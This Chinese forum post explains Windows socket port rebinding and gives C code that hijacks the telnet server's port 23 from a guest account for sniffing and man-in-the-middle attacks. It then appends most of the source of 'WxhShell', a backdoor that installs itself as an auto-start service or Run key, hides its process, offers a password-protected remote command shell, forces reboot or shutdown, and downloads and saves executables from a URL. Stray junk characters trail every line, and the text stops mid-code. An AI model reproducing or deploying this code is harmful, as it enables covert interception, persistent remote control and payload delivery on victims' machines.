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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HFYN(nz}[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '6i"pJ0%  
i/;Ql, gm  
  saddr.sin_family = AF_INET; ~PYMtg=i  
5D0O.v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `Q?rQ3A}  
|@KW~YlE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ZrJAfd\5c  
fiA_6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 BeZr5I"`}  
mk?&`_X1  
  这意味着什么?意味着可以进行如下的攻击: x5\C MWW  
)G6{JL-I  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 UD1R _bL}  
bqpy@WiI S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) x zmg'Br  
zs!,PQF(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \{  
-'btKz*9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  } MBxfZ4I  
FbB^$ ]*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h-u63b1"?  
 m~"<k d  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 cLl=?^DB  
K#q1/2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _jt>%v4}4  
l<I.;FN^9@  
  #include Gs]m; "o|  
  #include t.|b285e  
  #include ) jBPt&  
  #include    K?0f)@\nx  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "<6X=|C  
  int main() @q0\oG4L  
  { p^PAbCP'|3  
  WORD wVersionRequested; lA}(63j+b  
  DWORD ret; e]-bB#-A  
  WSADATA wsaData; LAqmM3{fA  
  BOOL val; @Bs7kjuX  
  SOCKADDR_IN saddr; A?[06R5E#  
  SOCKADDR_IN scaddr; x*GGO)r  
  int err; nxH+XHv  
  SOCKET s; KS%LXc('  
  SOCKET sc; Y?G9d6]Lk6  
  int caddsize; _E0XUT!rA  
  HANDLE mt; ?,8|K B  
  DWORD tid;   BUR96YN.  
  wVersionRequested = MAKEWORD( 2, 2 ); ?B> { rj  
  err = WSAStartup( wVersionRequested, &wsaData ); )U0`?kD  
  if ( err != 0 ) { `8^4,  
  printf("error!WSAStartup failed!\n"); tow0/ Jt  
  return -1; Z_vIGH|1  
  } -0[?6.(s"  
  saddr.sin_family = AF_INET; yn=BO`sgW  
   Ax &Z=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j} ^?3<  
e7X#C)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); A/eZnsk  
  saddr.sin_port = htons(23); 07pASZ;~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OxGKtnAjf  
  { F)dJws7-  
  printf("error!socket failed!\n"); 1#LXy%^tO  
  return -1; ._2#89V  
  } 1&%6sZN  
  val = TRUE; 7,0^|P  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 G&qO{" Js  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) tKtKW5n~  
  { nn'a` N  
  printf("error!setsockopt failed!\n"); !,8jB(  
  return -1; }pk)\^/w/  
  } [-}LEH1[p  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ' lt5|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2JY]$$K7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jI})\5<R  
<Uj~S  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) epw*Px  
  { _XLGXJ[B  
  ret=GetLastError(); J^t-pU  
  printf("error!bind failed!\n"); .W4P/P w'  
  return -1; -|s w\Q  
  } N.r8dC  
  listen(s,2); f.Wip)g  
  while(1) Cu*+E%P9`  
  { &/XRiK1"0  
  caddsize = sizeof(scaddr); GQ=Zp3[  
  //接受连接请求 OCR`1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 'T G43^  
  if(sc!=INVALID_SOCKET) }G8gk"st  
  { z4 GcS/3K  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y.h2hv]Bc  
  if(mt==NULL) / =]h@m-`  
  { 4yOYw*X  
  printf("Thread Creat Failed!\n"); S$O+p&!X  
  break; l|WdJn o  
  } m/ D ~D~  
  } qUNK Dt  
  CloseHandle(mt); }le}Vuy\s  
  } Y~ku?/"6T  
  closesocket(s); awYnlE/Z1  
  WSACleanup(); _p;>]0cc.  
  return 0; HW|5'opF  
  }   4oxAC; L  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9i9'Rd`g  
  { Dn x` !  
  SOCKET ss = (SOCKET)lpParam; ?w^MnK0U)  
  SOCKET sc; 0v7#vZ  
  unsigned char buf[4096]; rV6&:\  
  SOCKADDR_IN saddr; :#_Ne?\a@  
  long num; S F:>dneB  
  DWORD val; il8n K  
  DWORD ret; ,|5|aVfh  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Ez()W,6]g  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !U 6q;' )-  
  saddr.sin_family = AF_INET; %5g(|Y]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /x2-$a:<  
  saddr.sin_port = htons(23); =&%}p[ 3g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V47z;oMXct  
  { TH[xSg  
  printf("error!socket failed!\n"); aMU0BS"   
  return -1; Gm`#0)VC  
  } zWs ("L(#s  
  val = 100; h7 r *5E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }4Q~<2  
  { kZb #k#  
  ret = GetLastError(); asEk 3  
  return -1; w.7p D  
  } 8Pb~`E/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -BV8,1  
  { v 3p'*81;  
  ret = GetLastError(); zD"n7;  
  return -1; rXh*nC  
  } *'i9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) e4h9rF{Cxn  
  { ey/{Z<D  
  printf("error!socket connect failed!\n"); _%R]TlL  
  closesocket(sc); { l0[`"EF  
  closesocket(ss); :P'M|U  
  return -1; Z]~) ->=}  
  } %XC3V7  
  while(1) `[)!4Jb  
  { _^%DfMP3i\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S4ys)!V1V  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T]_]{%z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "26=@Q^Y  
  num = recv(ss,buf,4096,0); \&8 61A;  
  if(num>0) yg@8&;bP`  
  send(sc,buf,num,0); {s7 3(B"  
  else if(num==0) =)c^ik%F&  
  break; C@o8C%o  
  num = recv(sc,buf,4096,0);  i)!2DXn  
  if(num>0) z=FOymv C  
  send(ss,buf,num,0); mb\"qD5  
  else if(num==0) Svicw`uX0  
  break; -~_[2u^3  
  } ,=IGqw  
  closesocket(ss); 7g7[a/Bts  
  closesocket(sc); >%\&tS'  
  return 0 ; M*gbA5  
  } drwD3jx0xv  
6*&$ha}X  
4 (c{%%  
========================================================== m[}@\y  
ljP<WD  
下边附上一个代码,,WXhSHELL B?nw([4m  
Fp&tJ]=B.  
========================================================== Q "vhl2RX  
"Snt~:W>  
#include "stdafx.h" GBY-WN4sc[  
?hmuAgOtbh  
#include <stdio.h> 8wEUly  
#include <string.h> A8X3|<n=  
#include <windows.h> \\ZCi`O  
#include <winsock2.h> ]N;\AXZ7  
#include <winsvc.h> ?/}N  
#include <urlmon.h> I7 = 4%)A  
YD{Ppz  
#pragma comment (lib, "Ws2_32.lib") Y"  Ut  
#pragma comment (lib, "urlmon.lib") oQiRjDLx  
1/ 3<u::  
#define MAX_USER   100 // 最大客户端连接数 _C3O^/<n4V  
#define BUF_SOCK   200 // sock buffer BUs={"Pa  
#define KEY_BUFF   255 // 输入 buffer kBeYl+*pk  
Y@y"bjK \  
#define REBOOT     0   // 重启 3\ {?L  
#define SHUTDOWN   1   // 关机 O=5q<7PM.  
;#?G2AAv  
#define DEF_PORT   5000 // 监听端口 Ie]k/qw+Y  
207FD  
#define REG_LEN     16   // 注册表键长度 (O$il  
#define SVC_LEN     80   // NT服务名长度 eH ]9"^> o  
5Q/jI$^h0Z  
// 从dll定义API G]n_RP$G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -#Ys67,4N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JJHO E{%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ()Q#@?c~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %"Ia]0  
(M2hK[  
// wxhshell配置信息 F};T<#  
struct WSCFG { P84= .* >  
  int ws_port;         // 监听端口 %-KgR  
  char ws_passstr[REG_LEN]; // 口令 _Ie?{5$ng`  
  int ws_autoins;       // 安装标记, 1=yes 0=no qi*Dd[OG  
  char ws_regname[REG_LEN]; // 注册表键名 &n'@L9v81  
  char ws_svcname[REG_LEN]; // 服务名 IhHKRb[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wq7h8Z}l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V!Pe%.>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Jsa]RA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,4j^ lgJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E?0Vo%Vh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O2:1aG  
H+ 7HD|GE  
}; tIT/HG_o  
y8ODoXk  
// default Wxhshell configuration ,R\ex =c  
struct WSCFG wscfg={DEF_PORT, N*f ]NCSi  
    "xuhuanlingzhe", ^ 4Uk'T7V  
    1, jcp6-XM  
    "Wxhshell", 25j?0P"&  
    "Wxhshell", VGf&'nL@,  
            "WxhShell Service", V-(*{/^"  
    "Wrsky Windows CmdShell Service", if?X^j0  
    "Please Input Your Password: ", e>m+@4*sn  
  1, t$3B#=  
  "http://www.wrsky.com/wxhshell.exe", DYF(O-hJK  
  "Wxhshell.exe" QM'|k6  
    }; \fsNI T/  
kX2Z@ w`  
// 消息定义模块 yAFt|<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;\(LovUy6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *nK4XgD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lA` qB1x  
char *msg_ws_ext="\n\rExit."; d`,z4 _  
char *msg_ws_end="\n\rQuit."; l{gR6U{e  
char *msg_ws_boot="\n\rReboot..."; i#aKW'  
char *msg_ws_poff="\n\rShutdown..."; o)GesgxFa5  
char *msg_ws_down="\n\rSave to "; #w@FBFr@  
6:q,JB@i  
char *msg_ws_err="\n\rErr!"; YwS/O N  
char *msg_ws_ok="\n\rOK!"; &Oc `|r*  
fR b  
char ExeFile[MAX_PATH]; h$XoR0  
int nUser = 0; `-.6;T}2U  
HANDLE handles[MAX_USER]; "g*`G<W_s  
int OsIsNt; K 6yD64  
;jJ4H+8  
SERVICE_STATUS       serviceStatus; <iBn-EG l>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `oTV)J'~  
CTe!jMZ=  
// 函数声明 }qJ`nN8  
int Install(void); /BN=Kl]  
int Uninstall(void); XmaRg{22  
int DownloadFile(char *sURL, SOCKET wsh); icQQLSU5  
int Boot(int flag); ($Op*bR  
void HideProc(void); 1#*^+A E  
int GetOsVer(void); B@@tKn_CQ  
int Wxhshell(SOCKET wsl); }KYOde@  
void TalkWithClient(void *cs); >@h#'[z,d  
int CmdShell(SOCKET sock); 9{}"tk5$h  
int StartFromService(void); k8!:`jG  
int StartWxhshell(LPSTR lpCmdLine); ,rjl|F* T  
2*< PmKI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dV{mmHL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H& $M/`  
 6HPuCP  
// 数据结构和表定义 *+k yuY J  
SERVICE_TABLE_ENTRY DispatchTable[] = l_4 ^TYF  
{ Cd ]g+R}j  
{wscfg.ws_svcname, NTServiceMain}, :*/g~y(fE  
{NULL, NULL} B6j/"x6N15  
}; A9KPU:  
Kf6 D)B 26  
// 自我安装 )W6l/  
int Install(void) E`.:V<KW/  
{ K"[\)&WBG  
  char svExeFile[MAX_PATH]; +tlBOl $  
  HKEY key; Ljiw9*ZI  
  strcpy(svExeFile,ExeFile); >xA( *7  
ArjRoXDE  
// 如果是win9x系统,修改注册表设为自启动 (w#)|9Cxm  
if(!OsIsNt) { 4 aE{}jp1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M(yWE0 3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]0O3kiVQ  
  RegCloseKey(key); "bB0$>0,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y78DYbU.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j;qV+Rq]t  
  RegCloseKey(key);  7PuYrJ  
  return 0; ESk:$`P  
    } $E!f@L  
  } LqO=wK~  
} r,3\32[?  
else { `Z#':0Z  
/MMnW$)  
// 如果是NT以上系统,安装为系统服务 #C'E'g0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *VH Wvj  
if (schSCManager!=0) A^$xE6t  
{ >JA>np  
  SC_HANDLE schService = CreateService ujl ?!  
  ( vRn]u57O  
  schSCManager, M]M>z>1*v  
  wscfg.ws_svcname, y\4/M6  
  wscfg.ws_svcdisp, 7SN61)[m  
  SERVICE_ALL_ACCESS, acar-11_o/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L0I |V[  
  SERVICE_AUTO_START, <CJy3<$u  
  SERVICE_ERROR_NORMAL, "',;pGg|K  
  svExeFile, 7KGb2V<t  
  NULL, ]jPP]Z:y  
  NULL, eh>FYx( S  
  NULL, 0~+*$W  
  NULL, ?S9vYaA$  
  NULL a@Zolz_Z  
  ); .XkD2~;  
  if (schService!=0) %pH|2VB#  
  { O,-NzGs  
  CloseServiceHandle(schService); miTff[hsMa  
  CloseServiceHandle(schSCManager); I;1)a4Xc4R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2ga8 G4dU  
  strcat(svExeFile,wscfg.ws_svcname); SkC.A ?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b#"&]s-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S>p0{:zM  
  RegCloseKey(key); MslgQmlM  
  return 0; AC 2kG  
    } I}f7|hYX  
  } f& \ Bs8la  
  CloseServiceHandle(schSCManager); $pKegK;'z  
} xX9snSGz  
} dz>Jl},`k  
X 5X D1[  
return 1; H:9G/Nev  
} 1G67#L)USq  
#0Uz1[  
// 自我卸载 o2hk!#5[4  
int Uninstall(void) [clwmx  
{ A|]#b?-  
  HKEY key; 'x<oILOG  
eMdf [eS  
if(!OsIsNt) { hSXJDT2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K3UN#G)U  
  RegDeleteValue(key,wscfg.ws_regname); C@\5%~tW+  
  RegCloseKey(key); @$t\yBSK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GKOl{och  
  RegDeleteValue(key,wscfg.ws_regname); &r*F+gL  
  RegCloseKey(key); ()w;~$J  
  return 0; `S5::U6E  
  } Sv0?_3C  
} $.:x3TsA  
} }~NXiUe  
else { ^nNpT!o  
I.(@#v7T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |W$|og'wC  
if (schSCManager!=0) Pa+_{9  
{ `u R`O9)e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1c429&-  
  if (schService!=0) WRAL/  
  { _%Ua8bR$  
  if(DeleteService(schService)!=0) { OB\ZT@l  
  CloseServiceHandle(schService); lN8l71N^  
  CloseServiceHandle(schSCManager); 1 ?Zw  
  return 0; kM1N4N7  
  } Cz$q"U  
  CloseServiceHandle(schService); Lfdg5D5.P  
  } #`f{\  
  CloseServiceHandle(schSCManager); ~b!la  
} tJn"$A ^N  
} 6O.kKhk  
(9TSH3f?  
return 1; Z h9D^ I  
} LH=^3Gw  
>Yk|(!v  
// 从指定url下载文件 JZ*.;}"  
int DownloadFile(char *sURL, SOCKET wsh) 2K o]Q_,~  
{ >3ZhPvE-p'  
  HRESULT hr; I"x~ 7  
char seps[]= "/"; L<3+D  
char *token; ,6pGKCUU:y  
char *file; [^bq?w  
char myURL[MAX_PATH]; JR xY#k  
char myFILE[MAX_PATH]; \=[j9'N>  
NP.i,H  
strcpy(myURL,sURL); C984Ee  
  token=strtok(myURL,seps); W[a"&,okqO  
  while(token!=NULL) '6e4rn{  
  { )G?\{n-  
    file=token; pwS"BTZ  
  token=strtok(NULL,seps); f-|zh#L  
  } u*W! !(P/  
zJl;| E".  
GetCurrentDirectory(MAX_PATH,myFILE); ,EVPnH[F~  
strcat(myFILE, "\\"); `-{? !  
strcat(myFILE, file); :dRC$?f4  
  send(wsh,myFILE,strlen(myFILE),0); E i>GhvRM  
send(wsh,"...",3,0); WiB~sIp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d!}oS<6  
  if(hr==S_OK) XEagN:  
return 0; x- ue1  
else aPK:k$.  
return 1; :8@eon}  
frDMFEXXP  
} <y~Ba@1u  
:).NA ]  
// 系统电源模块 $w <R".4  
int Boot(int flag) QRrAyRf[  
{ s^IC]sW\%  
  HANDLE hToken; r\F2X J^  
  TOKEN_PRIVILEGES tkp; $F9w0kz:,*  
i=]R1yP  
  if(OsIsNt) { L-rV+?i`6f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DO~[VK%|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )?{!7/H F@  
    tkp.PrivilegeCount = 1; WQze|b %  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y<(7u`F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }7b{ZbDI  
if(flag==REBOOT) { C4`&_yoP4-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ai1;v@1  
  return 0; G3+e5/0  
} F E{c{G<  
else { S;gy:n!t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QKx(S=4jQ  
  return 0; o#1Ta7Ro  
} &"gX 7cK8  
  } bc~$"  
  else { 9&Un|cr  
if(flag==REBOOT) { cn/&QA"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~6Fh,S1?  
  return 0; 8-7Ml3G*  
} EW vhT]<0  
else { +HRtuRv0T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =q)+_@24>d  
  return 0; UR=s=G|  
} ?wv3HN  
} Vn:v{-i  
\9tJ/~   
return 1; +;,J0,Yn  
} WQ.{Ag?1  
t?)]xS)  
// win9x进程隐藏模块 %mU$]^Tw(  
void HideProc(void) 1@ &J"*  
{ dmv0hof  
&08dW9H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Lb<IEy77\  
  if ( hKernel != NULL ) F%&lM[N%  
  { jPZ+~:m+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n7~4*B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B[EOz\?=m  
    FreeLibrary(hKernel); ;r~1TUKb  
  } Rx"+i0  
$6J22m!S4n  
return; lxgfi@@+h  
} | Z2_W/  
`8O Bw  
// 获取操作系统版本 [A {o"zY  
int GetOsVer(void) s5+;8u9K  
{ oQV3  
  OSVERSIONINFO winfo; ,30lu a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vO~w~u5  
  GetVersionEx(&winfo); Rr CG(Bh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3fpaTue|x  
  return 1; ]+a~/  
  else I3r")}P  
  return 0; k:j_:C&.  
} pM+9K:^B  
=-/'$7R,  
// 客户端句柄模块 {dxl8~/I  
int Wxhshell(SOCKET wsl) H Q[  
{ <oT1&C{  
  SOCKET wsh; B6TE9IoSb8  
  struct sockaddr_in client; .bP8Z =  
  DWORD myID; bx{njo1Mr  
_K{- 1ZYsi  
  while(nUser<MAX_USER) v?6*n >R  
{ KaOXqFT=  
  int nSize=sizeof(client); }Rh%bf7,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O/ItN5B ;  
  if(wsh==INVALID_SOCKET) return 1; "s]  
XRQ1Uh6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8jL^q;R_(  
if(handles[nUser]==0) 0QPY+6  
  closesocket(wsh); `+vQ5l$;L  
else DCLu^:|C"  
  nUser++; 2vG X\W% 3  
  } fibudkg'>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^q/$a2<4  
X 5}=|%Y  
  return 0;  !O`j  
} p< 0=. ~  
oH v.EO  
// 关闭 socket :eD-'#@$u  
void CloseIt(SOCKET wsh) /4+Q; P  
{ na9YlJ\  
closesocket(wsh); \<xo`2b  
nUser--; )16+Pm8  
ExitThread(0); 3WwCo.q;m  
} us1$  
<"`f!k#[  
// 客户端请求句柄 Ci 4c8  
void TalkWithClient(void *cs) J@<f*  
{ %(6+{'j~#  
LE5N2k  
  SOCKET wsh=(SOCKET)cs; :%Iv<d<  
  char pwd[SVC_LEN]; J"GsdLG.-  
  char cmd[KEY_BUFF]; qLxcr/fK  
char chr[1]; VB4V[jraCF  
int i,j; h`O$L_Z  
'-n Iy$>  
  while (nUser < MAX_USER) { *>zOWocxD  
|&-*&)iD|w  
if(wscfg.ws_passstr) { eY?OUS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZBx,'ph}4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F 2zUz[  
  //ZeroMemory(pwd,KEY_BUFF); )G, S7A  
      i=0; kCz2uG)l  
  while(i<SVC_LEN) { ;=^J_2ls  
83_mR*tGNp  
  // 设置超时 \8\T TkVSq  
  fd_set FdRead; 3*j1v:x`  
  struct timeval TimeOut; CH!\uK22  
  FD_ZERO(&FdRead); t.RDS2N|  
  FD_SET(wsh,&FdRead); c2 :,  
  TimeOut.tv_sec=8; e&8Meiv+d  
  TimeOut.tv_usec=0; NRP) 'E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  lFcHE c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dxZn| Y  
Kx,X{$Pe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s m G?y~  
  pwd=chr[0]; TxN+-< f  
  if(chr[0]==0xd || chr[0]==0xa) { WL'!M&h  
  pwd=0; dQ_'8 )  
  break; N M),2%<  
  } .=G3wox3  
  i++; s[UV(::E  
    } hR2 R  
cw)J+Lyh  
  // 如果是非法用户,关闭 socket FqnD"]A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); + `'wY?  
} U+4[w`a}  
B%tj-h(a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R8!~>$#C6)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); edpRx"_  
nZL!}3@<  
while(1) { +Lc+"0*gV*  
'Pn:10;  
  ZeroMemory(cmd,KEY_BUFF); fy$CtQM  
GyxLzrp  
      // 自动支持客户端 telnet标准   z52F-<  
  j=0; (;9fkqm%m  
  while(j<KEY_BUFF) { K%t&a RjS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +"WNG  
  cmd[j]=chr[0]; A(BjU:D(Oj  
  if(chr[0]==0xa || chr[0]==0xd) { Y:Lkh>S1Q  
  cmd[j]=0; *>W6,F7  
  break; \}=W*xxB  
  } x N>\t& c  
  j++; n4XkhY|  
    } s-x1<+E(  
-H[@]Q4w  
  // 下载文件 R\5fl[  
  if(strstr(cmd,"http://")) { %a0q|)Nrj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); + >:}   
  if(DownloadFile(cmd,wsh)) (=gqqOOl~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @raJB'  
  else ~+BU@PHv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'h~IbP  
  } %zEy.7Ux  
  else { %'=TYvB 2  
U Lq`!1{   
    switch(cmd[0]) { QJR},nZ3  
  O)&ME  
  // 帮助 &\6(iL  
  case '?': { SLNOOEN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]0%{ IgB  
    break; 3&c'3y:b  
  }  myOW^  
  // 安装 ^Dfqc-]  
  case 'i': { K~^o06 Y  
    if(Install()) LSXsq}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5OO XCtIKf  
    else ,?%Y*?v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lY,9bSF$  
    break; QP!;Gwqr  
    } 1{cF/ :o  
  // 卸载 gr.G']9lNq  
  case 'r': { sMJa4P>O@  
    if(Uninstall()) #%OS=.V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v!<FeLW  
    else -{d(~XIo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f1o^:}5x  
    break; SjJ$Oinc  
    } ) 54cG  
  // 显示 wxhshell 所在路径 _x!/40^G  
  case 'p': { }I`o%GL  
    char svExeFile[MAX_PATH]; *(/b{!~  
    strcpy(svExeFile,"\n\r"); 7+[L6q/K  
      strcat(svExeFile,ExeFile); YLSDJ$K6  
        send(wsh,svExeFile,strlen(svExeFile),0); /9P7;1?  
    break; _wW"Tn]  
    } $mf6!p4  
  // 重启 ci 22fw0  
  case 'b': { ~WB-WI\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #q&N d2y  
    if(Boot(REBOOT)) k#mL4$]V5N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iQCs 8hIR  
    else {  _qt  
    closesocket(wsh); s6 K~I  
    ExitThread(0); v Oo^H  
    } P$clSJW  
    break; ?&U~X)Q  
    } @fVz *  
  // 关机 K3rsew n  
  case 'd': { y=SpIbn{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y~lOkH[z  
